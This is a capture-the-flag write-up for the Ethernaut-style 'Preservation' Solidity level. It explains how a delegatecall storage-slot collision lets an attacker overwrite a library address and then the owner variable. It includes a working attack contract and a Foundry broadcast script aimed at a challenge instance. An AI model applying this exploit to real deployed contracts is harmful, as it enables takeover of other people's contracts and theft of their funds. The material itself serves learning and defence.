Note: This is a rewritten blog from my other blog web3hacking.xyz.
Preservation
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Understanding delegatecall
delegatecall
is a powerful but dangerous low-level function in Solidity. When contract A executes delegatecall
to contract B:
- B's code is executed within A's context
- All storage operations happen on A's storage
msg.sender
andmsg.value
are preserved from the original call
This context preservation is what makes delegatecall
both useful and potentially dangerous.
Things that might help:
- Look into Solidity's documentation on the
delegatecall
low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. - Understanding what it means for
delegatecall
to be context-preserving. - Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.
delegatecall
is a low level function similar to call
.
When contract Preservation
executes delegatecall
to contract LibraryContract
, LibraryContract
’s code is executed with contract Preservation
's storage, msg.sender
and msg.value
.
**Preservation**
& **LibaryContract**
contracts:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Storage Layout Preservation
forge inspect src/Preservation.sol:Preservation storage-layout --pretty
| Name | Type | Slot | Offset | Bytes | Contract |
|------------------|---------|------|--------|-------|-----------------------------------|
| timeZone1Library | address | 0 | 0 | 20 | src/Preservation.sol:Preservation |
| timeZone2Library | address | 1 | 0 | 20 | src/Preservation.sol:Preservation |
| owner | address | 2 | 0 | 20 | src/Preservation.sol:Preservation |
| storedTime | uint256 | 3 | 0 | 32 | src/Preservation.sol:Preservation |
The vulnerability stems from a mismatch in storage layouts between the contracts. When LibraryContract.setTime()
writes to its storedTime
variable (slot 0), it's actually writing to timeZone1Library
in the Preservation contract's storage.
Attack Plan Explained
-
First Step: Deploy an attack contract and update
timeZone1Library
(slot 0) to point to our attack contract- This works because the library's
storedTime
writes to slot 0 - We're essentially hijacking the library pointer
- This works because the library's
-
Second Step: Call
setFirstTime
again to execute our malicious code- Now that
timeZone1Library
points to our contract - Our
setTime
function will run in the Preservation contract's context - We can modify the
owner
variable (slot 2)
- Now that
Attack contract
We keep the same layout as the Preservation
contract, so that when owner get's updated it get's updated at the same slot as in the Preservation
contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
address public timeZone1Library; //slot 0
address public timeZone2Library; //slot 1
address public owner; //slot 2
function setTime(uint) public {
owner = msg.sender;
}
}
So what will happen is that the first time the following line gets executed:
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
**timeZone1Library**.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
contract LibraryContract {
// stores a timestamp
uint storedTime; //STORAGE SLOT 0! == address public timeZone1Library;
function setTime(uint _time) public {
storedTime = _time;
}
}
The address of timeZone1Library gets executed and updated because the storage layout of LibraryContract
updates the storage slot 0, with our contract address.
The Storage Layout Challenge
The key insight is that LibraryContract
has a completely different storage layout:
LibraryContract:
uint storedTime; // slot 0 collides with timeZone1Library!
Preservation:
address timeZone1Library; // slot 0
address timeZone2Library; // slot 1
address owner; // slot 2
uint storedTime; // slot 3
Type Conversion Details
The challenge with the exploit is handling type conversions correctly:
uint
values are 32 bytes (256 bits)- Addresses are 20 bytes (160 bits)
- We need to pad our address to match the expected uint size
AttackScript
forge script script/AttackScript.sol --rpc-url $RPC --broadcast -vvvvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Preservation, LibraryContract} from "../src/Preservation.sol";
import {Attacker} from "../src/Attacker.sol";
import {Script} from "forge-std/Script.sol";
interface IPreservation {
function setFirstTime(uint) external;
}
contract AttackScript is Script {
IPreservation public target; // Renamed the variable to avoid shadowing
function run() public {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
target = IPreservation(0x6E3262842615e614D9C0f8A9156FF11920777934);
// deploy hack contract
Attacker attacker = new Attacker();
// add 20 zeros to the begin of the address
// to make it 32 bytes long
bytes32 attackAddressToUint = bytes32(uint256(uint160(address(attacker))));
// set the first time to update timeZone1Library to attacker address
target.setFirstTime(uint(attackAddressToUint));
// When we call delegatecall, we are telling the EVM to execute the code in the context of the calling contract.
// This is at our attack contract, so we can set the owner to our address.
target.setFirstTime(uint(attackAddressToUint));
}
}
This attack demonstrates why storage layout and delegatecall must be handled with extreme care in smart contract development. A simple mismatch in storage slots can lead to complete contract takeover.